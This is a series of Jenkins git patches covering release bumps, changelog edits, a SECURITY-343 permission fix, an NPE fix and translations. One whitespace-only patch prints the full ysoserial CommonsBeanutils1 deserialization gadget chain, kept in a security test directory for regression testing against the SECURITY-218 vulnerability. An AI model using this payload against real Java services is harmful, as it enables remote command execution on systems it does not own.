                          • Performance: Improve responsiveness of Jenkins web UI on mobile devices. @@ -100,7 +105,6 @@ Upcoming changes Improved Polish translation. (pull 2631)
                          -

                          What's new in 2.30 (2016/11/07)

                          • -- GitLab From 5a163a3b30ba42034bd76b608299d0650ab83196 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 15 Nov 2016 12:43:51 +0100 Subject: [PATCH 508/811] Correcting newlines. --- .../ysoserial/payloads/CommonsBeanutils1.java | 130 +++++++++--------- 1 file changed, 65 insertions(+), 65 deletions(-) diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java index 5ef4762658..b5028c531f 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java @@ -1,66 +1,66 @@ -/* - * The MIT License - * - * Copyright (c) 2013 Chris Frohoff - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in - * all copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - * THE SOFTWARE. - */ - -package jenkins.security.security218.ysoserial.payloads; - -import java.math.BigInteger; -import java.util.PriorityQueue; - -import org.apache.commons.beanutils.BeanComparator; - -import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; -import jenkins.security.security218.ysoserial.payloads.util.Gadgets; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; -import jenkins.security.security218.ysoserial.payloads.util.Reflections; - -@SuppressWarnings({ "rawtypes", "unchecked" }) -@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) -public class CommonsBeanutils1 implements ObjectPayload { - - public Object getObject(final String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); - // mock method name until armed - final BeanComparator comparator = new BeanComparator("lowestSetBit"); - - // create queue with numbers and basic comparator - final PriorityQueue queue = new PriorityQueue(2, comparator); - // stub data for replacement later - queue.add(new BigInteger("1")); - queue.add(new BigInteger("1")); - - // switch method called by comparator - Reflections.setFieldValue(comparator, "property", "outputProperties"); - - // switch contents of queue - final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); - queueArray[0] = templates; - queueArray[1] = templates; - - return queue; - } - - public static void main(final String[] args) throws Exception { - PayloadRunner.run(CommonsBeanutils1.class, args); - } +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security.security218.ysoserial.payloads; + +import java.math.BigInteger; +import java.util.PriorityQueue; + +import org.apache.commons.beanutils.BeanComparator; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +public class CommonsBeanutils1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + // mock method name until armed + final BeanComparator comparator = new BeanComparator("lowestSetBit"); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch method called by comparator + Reflections.setFieldValue(comparator, "property", "outputProperties"); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = templates; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsBeanutils1.class, args); + } } \ No newline at end of file -- GitLab From 5df61d42d01c2857264748cc6c871491ac3ae79c Mon Sep 17 00:00:00 2001 From: Alvaro Lobato Date: Tue, 15 Nov 2016 15:50:02 +0100 Subject: [PATCH 509/811] [JENKINS-39741] - Redirect to login page after authorisation error when checking connectivity to update center and handle any other error. --- war/src/main/js/util/jenkins.js | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/war/src/main/js/util/jenkins.js b/war/src/main/js/util/jenkins.js index 6b31f42681..43c031fe33 100644 --- a/war/src/main/js/util/jenkins.js +++ b/war/src/main/js/util/jenkins.js @@ -244,7 +244,14 @@ exports.testConnectivity = function(siteId, handler) { handler(true); } } - }); + }, { error: function(xhr, textStatus, errorThrown) { + if (xhr.status === 403) { + exports.goTo('/login'); + } else { + handler.call({ isError: true, errorMessage: errorThrown }); + } + } + }); }; testConnectivity(); }; -- GitLab From e47c681f9f6c66414d33b4c0f721b8f0abf6dd64 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 15 Nov 2016 17:34:59 +0100 Subject: [PATCH 510/811] Take advantage of LoggerRule to simplify test. --- .../TokenBasedRememberMeServices2Test.groovy | 41 +++---------------- 1 file changed, 5 insertions(+), 36 deletions(-) diff --git a/test/src/test/groovy/hudson/security/TokenBasedRememberMeServices2Test.groovy b/test/src/test/groovy/hudson/security/TokenBasedRememberMeServices2Test.groovy index 435eb4fbb7..4796f12b5b 100644 --- a/test/src/test/groovy/hudson/security/TokenBasedRememberMeServices2Test.groovy +++ b/test/src/test/groovy/hudson/security/TokenBasedRememberMeServices2Test.groovy @@ -10,11 +10,10 @@ import org.acegisecurity.userdetails.User import org.acegisecurity.userdetails.UserDetails import org.acegisecurity.userdetails.UsernameNotFoundException import com.gargoylesoftware.htmlunit.util.Cookie -import org.junit.After -import org.junit.Before import org.junit.Rule import org.junit.Test import org.jvnet.hudson.test.JenkinsRule +import org.jvnet.hudson.test.LoggerRule import org.springframework.dao.DataAccessException import java.util.logging.Handler @@ -31,41 +30,11 @@ import static java.util.logging.Level.FINEST class TokenBasedRememberMeServices2Test { @Rule public JenkinsRule j = new JenkinsRule(); + @Rule + public LoggerRule logging = new LoggerRule() private boolean failureInduced; - private Logger logger = Logger.getLogger(TokenBasedRememberMeServices.class.name) - - private List logs = [] - private Handler loghandler - - @Before - public void setUp() { - loghandler = new Handler() { - @Override - void publish(LogRecord record) { - logs.add(record); - } - - @Override - void flush() { - } - - @Override - void close() throws SecurityException { - } - } - loghandler.level = FINEST - logger.addHandler(loghandler) - logger.level = FINEST - } - - @After - public void tearDown() { - logger.removeHandler(loghandler); - logger.level = null - } - @Test public void rememberMeAutoLoginFailure() { j.jenkins.securityRealm = new InvalidUserWhenLoggingBackInRealm() @@ -83,12 +52,12 @@ class TokenBasedRememberMeServices2Test { wc.cookieManager.addCookie(c); // even if SecurityRealm chokes, it shouldn't kill the page - logs.clear() + logging.capture(1000).record(TokenBasedRememberMeServices.class, FINEST) wc.goTo("") // make sure that the server recorded this failure assert failureInduced - assert logs.find { it.message.contains("contained username 'alice' but was not found")}!=null + assert logging.messages.find { it.contains("contained username 'alice' but was not found")}!=null // and the problematic cookie should have been removed assert getRememberMeCookie(wc)==null } -- GitLab From 33c3037dae0b2fa6e331bcd661941006585c22b3 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 16 Nov 2016 06:13:35 -0800 Subject: [PATCH 511/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index ef2d49c164..f30a6acd7b 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.32 + 2.33-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 6455660f16..ca845d2f0f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32 + 2.33-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 3c1e84c133..90b2419d21 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32 + 2.33-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.32 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 21cadf9b1b..0a28bfa186 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32 + 2.33-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 6cb710c758..fe6878f4b5 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32 + 2.33-SNAPSHOT jenkins-war -- GitLab From b75d42edb4b96cd6f607a398d7023952d876bec9 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 16 Nov 2016 06:13:35 -0800 Subject: [PATCH 512/811] [maven-release-plugin] prepare release jenkins-2.32 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index ec31a80134..ef2d49c164 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.32-SNAPSHOT + 2.32 cli diff --git a/core/pom.xml b/core/pom.xml index 2a79b95f2c..6455660f16 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32-SNAPSHOT + 2.32 jenkins-core diff --git a/pom.xml b/pom.xml index 2f60154cee..3c1e84c133 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32-SNAPSHOT + 2.32 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.32 diff --git a/test/pom.xml b/test/pom.xml index 7ab69c2ffa..21cadf9b1b 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32-SNAPSHOT + 2.32 test diff --git a/war/pom.xml b/war/pom.xml index aabb0cd6f4..6cb710c758 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32-SNAPSHOT + 2.32 jenkins-war -- GitLab From 96a9fba82b850267506e50e11f56f05359fa5594 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 16 Nov 2016 06:20:54 -0800 Subject: [PATCH 513/811] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index 9087b27c03..3f720dde5d 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes
                          • +

                            What's new in 2.32 (2016/11/16)

                            +
                              +
                            • +

                            What's new in 2.31 (2016/11/13)

                            • -- GitLab From 4bbf611a7c69cb927804140ae576dd15d2ff89fc Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 16 Nov 2016 07:50:00 -0800 Subject: [PATCH 514/811] [maven-release-plugin] prepare release jenkins-2.19.3 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 3695688a20..d50b46e31f 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.19.3-SNAPSHOT + 2.19.3 cli diff --git a/core/pom.xml b/core/pom.xml index 2682c8b485..6f6e6ea8d7 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3-SNAPSHOT + 2.19.3 jenkins-core diff --git a/pom.xml b/pom.xml index fee4b39e0c..5da8f267ac 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3-SNAPSHOT + 2.19.3 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.19.1 + jenkins-2.19.3 diff --git a/test/pom.xml b/test/pom.xml index 69c8c3982f..d8bda55377 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3-SNAPSHOT + 2.19.3 test diff --git a/war/pom.xml b/war/pom.xml index 2ba8582ee2..5c49329e99 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3-SNAPSHOT + 2.19.3 jenkins-war -- GitLab From b1d7e0ee3ce13b504129f78d4f7d0fbddcc632e8 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 16 Nov 2016 07:50:00 -0800 Subject: [PATCH 515/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index d50b46e31f..89774ab5e0 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.19.3 + 2.19.4-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 6f6e6ea8d7..a6614a3b0e 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3 + 2.19.4-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 5da8f267ac..7db82638ed 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3 + 2.19.4-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.19.3 + jenkins-2.19.1 diff --git a/test/pom.xml b/test/pom.xml index d8bda55377..f1d12f39d3 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3 + 2.19.4-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 5c49329e99..4a3896734a 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3 + 2.19.4-SNAPSHOT jenkins-war -- GitLab From b4b0815300cc07a87449f0bc199ebb67ec415ff1 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 16 Nov 2016 07:56:52 -0800 Subject: [PATCH 516/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 728fcf8d4c..fc7a6c2f51 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                              What's new in 2.19.3 (2016/11/16)

                              • Prevent File descriptor leaks when reading plugin manifests. @@ -82,7 +87,6 @@ Upcoming changes from INFO to FINE. (PR #2510)
                              -

                              What's new in 2.18 (2016/08/15)

                              • -- GitLab From 6aac6e3159b4108114591f610d4a9508506d5016 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 16 Nov 2016 17:30:18 +0100 Subject: [PATCH 517/811] Add changelog for 2.32 --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 3f720dde5d..2abfe35173 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,11 @@ Upcoming changes

                                What's new in 2.32 (2016/11/16)

                                  -
                                • +
                                • + Important security fixes + (security advisory) +
                                • + Allow disabling the Jenkins CLI over HTTP and JNLP agent port by setting the System property jenkins.CLI.disabled to true.

                                What's new in 2.31 (2016/11/13)

                                  -- GitLab From c19a56d214d46f89d9c6b78dc833a5b019581654 Mon Sep 17 00:00:00 2001 From: Andrew Bayer Date: Thu, 17 Nov 2016 10:45:04 -0800 Subject: [PATCH 518/811] [SECURITY-343] Restrict API access to NodeMonitor data Switch to requiring EXTENDED_READ permission for access to NodeMonitor data. It might theoretically be better if we had more granular permissions on each NodeMonitor, but that's a bigger change, and since EXTENDED_READ is already what we use to limit access to serving the computer's config.xml, I think this is appropriate. --- core/src/main/java/hudson/model/Computer.java | 6 ++++-- .../model/ComputerConfigDotXmlTest.java | 20 +++++++++++++++++++ 2 files changed, 24 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index 080f9462d0..69eca9159b 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -1072,8 +1072,10 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces @Exported(inline=true) public Map getMonitorData() { Map r = new HashMap(); - for (NodeMonitor monitor : NodeMonitor.getAll()) - r.put(monitor.getClass().getName(),monitor.data(this)); + if (hasPermission(EXTENDED_READ)) { + for (NodeMonitor monitor : NodeMonitor.getAll()) + r.put(monitor.getClass().getName(), monitor.data(this)); + } return r; } diff --git a/test/src/test/java/hudson/model/ComputerConfigDotXmlTest.java b/test/src/test/java/hudson/model/ComputerConfigDotXmlTest.java index 30677a1535..b6698c8c97 100644 --- a/test/src/test/java/hudson/model/ComputerConfigDotXmlTest.java +++ b/test/src/test/java/hudson/model/ComputerConfigDotXmlTest.java @@ -27,6 +27,8 @@ import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.equalTo; import static org.hamcrest.Matchers.startsWith; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; import static org.mockito.Mockito.spy; import static org.mockito.Mockito.when; import hudson.security.ACL; @@ -140,6 +142,24 @@ public class ComputerConfigDotXmlTest { assertThat(updatedSlave.getNumExecutors(), equalTo(42)); } + @Test + public void emptyNodeMonitorDataWithoutExtendedRead() throws Exception { + rule.jenkins.setAuthorizationStrategy(new GlobalMatrixAuthorizationStrategy()); + + assertTrue(computer.getMonitorData().isEmpty()); + } + + @Test + public void populatedNodeMonitorDataWithExtendedRead() throws Exception { + GlobalMatrixAuthorizationStrategy auth = new GlobalMatrixAuthorizationStrategy(); + rule.jenkins.setAuthorizationStrategy(auth); + auth.add(Computer.CONFIGURE, "user"); + + assertFalse(computer.getMonitorData().isEmpty()); + } + + + private OutputStream captureOutput() throws IOException { final ByteArrayOutputStream baos = new ByteArrayOutputStream(); -- GitLab From 0399037f842d1c9c4fbbc970421fafa3ecdac7eb Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 13 Nov 2016 22:39:04 +0100 Subject: [PATCH 519/811] [FIXED JENKINS-38721, JENKINS-37282] - NPE in "CauseOfInterruption.UserInterruption" when user is missing (#2630) * [FIXED JENKINS-38721] - Prevent NPE during rendering of "CauseOfInterruption.UserInterruption" when user is missing It is a regression introduced in JENKINS-36594 * [JENKINS-38721] - Fix typo (cherry picked from commit 91ad59214234e7724d586f64f8fb6db35104857b) --- .../jenkins/model/CauseOfInterruption.java | 35 +++++++++++++++++-- .../UserInterruption/summary.groovy | 7 +++- .../UserInterruption/summary.properties | 3 +- .../UserInterruption/summary_ja.properties | 3 +- .../UserInterruption/summary_pl.properties | 3 +- .../UserInterruption/summary_sr.properties | 4 +++ .../UserInterruption/summary_zh_TW.properties | 1 + 7 files changed, 49 insertions(+), 7 deletions(-) create mode 100644 core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties diff --git a/core/src/main/java/jenkins/model/CauseOfInterruption.java b/core/src/main/java/jenkins/model/CauseOfInterruption.java index 81dd16111d..557110f239 100644 --- a/core/src/main/java/jenkins/model/CauseOfInterruption.java +++ b/core/src/main/java/jenkins/model/CauseOfInterruption.java @@ -33,6 +33,7 @@ import org.kohsuke.stapler.export.ExportedBean; import java.io.Serializable; import java.util.Collections; import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; /** * Records why an {@linkplain Executor#interrupt() executor is interrupted}. @@ -74,18 +75,46 @@ public abstract class CauseOfInterruption implements Serializable { * Indicates that the build was interrupted from UI. */ public static final class UserInterruption extends CauseOfInterruption { + + @Nonnull private final String user; - public UserInterruption(User user) { + public UserInterruption(@Nonnull User user) { this.user = user.getId(); } - public UserInterruption(String userId) { + public UserInterruption(@Nonnull String userId) { this.user = userId; } - @CheckForNull + /** + * Gets ID of the user, who interrupted the build. + * @return User ID + * @since TODO + */ + @Nonnull + public String getUserId() { + return user; + } + + /** + * Gets user, who caused the interruption. + * @return User instance if it can be located. + * Result of {@link User#getUnknown()} otherwise + */ + @Nonnull public User getUser() { + final User userInstance = getUserOrNull(); + return userInstance != null ? userInstance : User.getUnknown(); + } + + /** + * Gets user, who caused the interruption. + * @return User or {@code null} if it has not been found + * @since TODO + */ + @CheckForNull + public User getUserOrNull() { return User.get(user, false, Collections.emptyMap()); } diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy index ec48cb9efa..b75b2386f9 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy @@ -1,4 +1,9 @@ package jenkins.model.CauseOfInterruption.UserInterruption; // by default we just print the short description. -raw(_("blurb",my.user.fullName, rootURL+'/'+my.user.url)) \ No newline at end of file +def user = my.userOrNull +if (user != null) { + raw(_("blurb", user.fullName, rootURL+'/'+user.url)) +} else { + raw(_("userNotFound", my.userId)) +} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties index 1f1f63c2bc..1ada7d261b 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties @@ -1 +1,2 @@ -blurb=Aborted by user {0} \ No newline at end of file +blurb=Aborted by user {0} +userNotFound=Aborted by user {0} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties index e2d2051a6e..3cd254db98 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties @@ -1 +1,2 @@ -blurb=\u30e6\u30fc\u30b6\u30fc {0} \u306b\u3088\u308a\u4e2d\u65ad \ No newline at end of file +blurb=\u30e6\u30fc\u30b6\u30fc {0} \u306b\u3088\u308a\u4e2d\u65ad +userNotFound=\u30e6\u30fc\u30b6\u30fc {0} \u306b\u3088\u308a\u4e2d\u65ad diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties index 0095ece665..d2c91f76b0 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties @@ -1 +1,2 @@ -blurb=Przerwane przez u\u017Cytkownika {0} \ No newline at end of file +blurb=Przerwane przez u\u017cytkownika {0} +userNotFound=Przerwane przez u\u017cytkownika {0} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties new file mode 100644 index 0000000000..a88ce0631c --- /dev/null +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +blurb=\u041e\u0442\u043a\u0430\u0437\u0430\u043d\u043e \u043a\u043e\u0440\u0438\u0441\u043d\u0438\u043a\u043e\u043c {0} +userNotFound=\u041e\u0442\u043a\u0430\u0437\u0430\u043d\u043e \u043a\u043e\u0440\u0438\u0441\u043d\u0438\u043a\u043e\u043c {0} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties index db91795756..3b2ac62c06 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties @@ -22,3 +22,4 @@ # THE SOFTWARE. blurb=\u7531\u4f7f\u7528\u8005 {0} \u4e2d\u6b62 +userNotFound=\u7531\u4f7f\u7528\u8005 {0} \u4e2d\u6b62 -- GitLab From 60f3d0e157153d8f072ce860d9ebf6a7a89bfa85 Mon Sep 17 00:00:00 2001 From: Damian Szczepanik Date: Sun, 13 Nov 2016 01:01:05 +0100 Subject: [PATCH 520/811] Polish translations for settings --- .../PluginManager/installed_pl.properties | 10 ++++-- .../configure-common_pl.properties | 31 +++++++++++++---- .../AbstractProject/sidepanel_pl.properties | 8 +++-- .../config_pl.properties | 28 +++++++++++++++ .../hudson/model/Messages_pl.properties | 34 ++++++++++++++++++- .../hudson/model/User/configure_pl.properties | 25 +++++++++++++- .../hudson/search/Messages_pl.properties | 23 +++++++++++++ .../UserSearchProperty/config_pl.properties | 24 +++++++++++++ .../ArtifactArchiver/config_pl.properties | 14 ++++++-- .../tasks/LogRotator/config_pl.properties | 31 ++++++++++++++--- .../triggers/SCMTrigger/config_pl.properties | 22 ++++++++++++ .../TimerTrigger/config_pl.properties | 22 ++++++++++++ .../jenkins/management/Messages_pl.properties | 8 +++-- .../ReverseBuildTrigger/config_pl.properties | 25 ++++++++++++++ 14 files changed, 282 insertions(+), 23 deletions(-) create mode 100644 core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties create mode 100644 core/src/main/resources/hudson/search/Messages_pl.properties create mode 100644 core/src/main/resources/hudson/search/UserSearchProperty/config_pl.properties create mode 100644 core/src/main/resources/hudson/triggers/SCMTrigger/config_pl.properties create mode 100644 core/src/main/resources/hudson/triggers/TimerTrigger/config_pl.properties create mode 100644 core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_pl.properties diff --git a/core/src/main/resources/hudson/PluginManager/installed_pl.properties b/core/src/main/resources/hudson/PluginManager/installed_pl.properties index df5e363201..9fd5654ff2 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_pl.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik # # Permission is hereby granted, free of 